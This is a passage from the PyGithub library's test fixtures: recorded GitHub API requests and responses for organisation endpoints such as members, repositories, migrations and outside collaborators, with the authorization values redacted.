{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":16,"followers":27,"following":39,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-05-17T11:20:54Z","public_gists":3,"total_private_repos":4,"owned_private_repos":4,"disk_usage":17188,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6,"site_admin":false} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '4663'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 13 May 2013 21:44:12 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2184e9e10f0a22eb0f1eceed39d728da"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:50:34 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":55} https GET api.github.com None /repos/jacquev6/PyGithub/labels/Requested%20by%20user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '125'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 12 Sep 2012 18:38:55 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4255e5086bc19b2096e05eb6dad041ee"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:50:35 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"} https GET api.github.com None /orgs/BeaverSoftware/issues?sort=comments&direction=asc&since=2012-05-28T23%3A00%3A00Z&labels=Requested+by+user&filter=assigned&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '2'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('access-control-allow-credentials', 'true'), ('date', 'Fri, 17 May 2013 11:50:36 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetMembers.txt0000644000175100001660000000252014756101563024313 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/members {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '886'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f7f3d1eaa1c0d14d590b09dbb439db2e"'), ('date', 'Sun, 27 May 2012 05:08:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/cjuniet","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","login":"cjuniet","id":1233553},{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},{"url":"https://api.github.com/users/Lyloa","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","login":"Lyloa","id":1131432}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetMigrations.txt0000644000175100001660000002667614756101563025057 0ustar00runnerdockerhttps GET api.github.com None /orgs/sample-test-organisation {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 15:19:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1536855475'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"1b018825113df112cbfdf5096ac86cfd"'), ('Last-Modified', 'Thu, 13 Sep 2018 09:21:05 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.063567'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '1CD7:1FE1:13159D3:27509C2:5B9A8012')] {"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","url":"https://api.github.com/orgs/sample-test-organisation","repos_url":"https://api.github.com/orgs/sample-test-organisation/repos","events_url":"https://api.github.com/orgs/sample-test-organisation/events","hooks_url":"https://api.github.com/orgs/sample-test-organisation/hooks","issues_url":"https://api.github.com/orgs/sample-test-organisation/issues","members_url":"https://api.github.com/orgs/sample-test-organisation/members{/member}","public_members_url":"https://api.github.com/orgs/sample-test-organisation/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/sample-test-organisation","created_at":"2018-09-13T09:21:05Z","updated_at":"2018-09-13T09:21:05Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":0,"collaborators":0,"billing_email":"tfv60722@nbzmr.com","plan":{"name":"free","space":976562499,"private_repos":0,"filled_seats":1,"seats":0},"default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":false} https GET api.github.com None /orgs/sample-test-organisation/migrations?per_page=1 {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 15:16:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4908'), ('X-RateLimit-Reset', '1536851865'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"b9e918c8c5de017cdd3f3badb9cd7268"'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.107384'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CC2C:1FE2:1A98BC4:31A75CC:5B9A7F32')] [{"id":25311,"node_id":"MDk6TWlncmF0aW9uMjUzMTE=","owner":{"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","gravatar_id":"","url":"https://api.github.com/users/sample-test-organisation","html_url":"https://github.com/sample-test-organisation","followers_url":"https://api.github.com/users/sample-test-organisation/followers","following_url":"https://api.github.com/users/sample-test-organisation/following{/other_user}","gists_url":"https://api.github.com/users/sample-test-organisation/gists{/gist_id}","starred_url":"https://api.github.com/users/sample-test-organisation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sample-test-organisation/subscriptions","organizations_url":"https://api.github.com/users/sample-test-organisation/orgs","repos_url":"https://api.github.com/users/sample-test-organisation/repos","events_url":"https://api.github.com/users/sample-test-organisation/events{/privacy}","received_events_url":"https://api.github.com/users/sample-test-organisation/received_events","type":"Organization","site_admin":false},"guid":"2f2dd1be-b767-11e8-917a-8ff981efcc40","state":"exported","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148654765,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2NTQ3NjU=","name":"sample-repo","full_name":"sample-test-organisation/sample-repo","owner":{"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","gravatar_id":"","url":"https://api.github.com/users/sample-test-organisation","html_url":"https://github.com/sample-test-organisation","followers_url":"https://api.github.com/users/sample-test-organisation/followers","following_url":"https://api.github.com/users/sample-test-organisation/following{/other_user}","gists_url":"https://api.github.com/users/sample-test-organisation/gists{/gist_id}","starred_url":"https://api.github.com/users/sample-test-organisation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sample-test-organisation/subscriptions","organizations_url":"https://api.github.com/users/sample-test-organisation/orgs","repos_url":"https://api.github.com/users/sample-test-organisation/repos","events_url":"https://api.github.com/users/sample-test-organisation/events{/privacy}","received_events_url":"https://api.github.com/users/sample-test-organisation/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/sample-test-organisation/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/sample-test-organisation/sample-repo","forks_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/forks","keys_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/teams","hooks_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/events","assignees_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/tags","blobs_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/languages","stargazers_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/subscription","commits_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/merges","archive_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/downloads","issues_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/deployments","created_at":"2018-09-13T14:59:58Z","updated_at":"2018-09-13T15:10:43Z","pushed_at":"2018-09-13T15:00:00Z","git_url":"git://github.com/sample-test-organisation/sample-repo.git","ssh_url":"git@github.com:sample-test-organisation/sample-repo.git","clone_url":"https://github.com/sample-test-organisation/sample-repo.git","svn_url":"https://github.com/sample-test-organisation/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/orgs/sample-test-organisation/migrations/25311","archive_url":"https://api.github.com/orgs/sample-test-organisation/migrations/25311/archive","created_at":"2018-09-13T20:40:43.000+05:30","updated_at":"2018-09-13T20:40:54.000+05:30"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetOutsideCollaborators.txt0000644000175100001660000000251714756101563027072 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/outside_collaborators {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '175'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f7f3d1eaa1c0d14d590b09dbb439db2e"'), ('date', 'Sun, 28 Feb 2017 09:51:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"login": "octocat","id": 1,"avatar_url": "https://github.com/images/error/octocat_happy.gif","gravatar_id": "","url": "https://api.github.com/users/octocat","html_url": "https://github.com/octocat","followers_url": "https://api.github.com/users/octocat/followers","following_url": "https://api.github.com/users/octocat/following{/other_user}","gists_url": "https://api.github.com/users/octocat/gists{/gist_id}","starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url": "https://api.github.com/users/octocat/subscriptions","organizations_url": "https://api.github.com/users/octocat/orgs","repos_url": "https://api.github.com/users/octocat/repos","events_url": "https://api.github.com/users/octocat/events{/privacy}","received_events_url": "https://api.github.com/users/octocat/received_events","type": "User","site_admin": false}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetPublicMembers.txt0000644000175100001660000000141314756101563025452 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/public_members {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"867ed1ef11213cc9045509b0fa544132"'), ('date', 'Sun, 27 May 2012 05:07:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetRepos.txt0000644000175100001660000000553414756101563024021 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '2300'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"56a6b76672924aa7f1d6f1753388f04b"'), ('date', 'Sun, 27 May 2012 05:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"},{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetReposSorted.txt0000644000175100001660000000557014756101563025202 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/repos?sort=updated&direction=desc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '2300'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"56a6b76672924aa7f1d6f1753388f04b"'), ('date', 'Sun, 27 May 2012 05:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"},{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetReposWithType.txt0000644000175100001660000000553614756101563025521 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/repos?type=public {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', 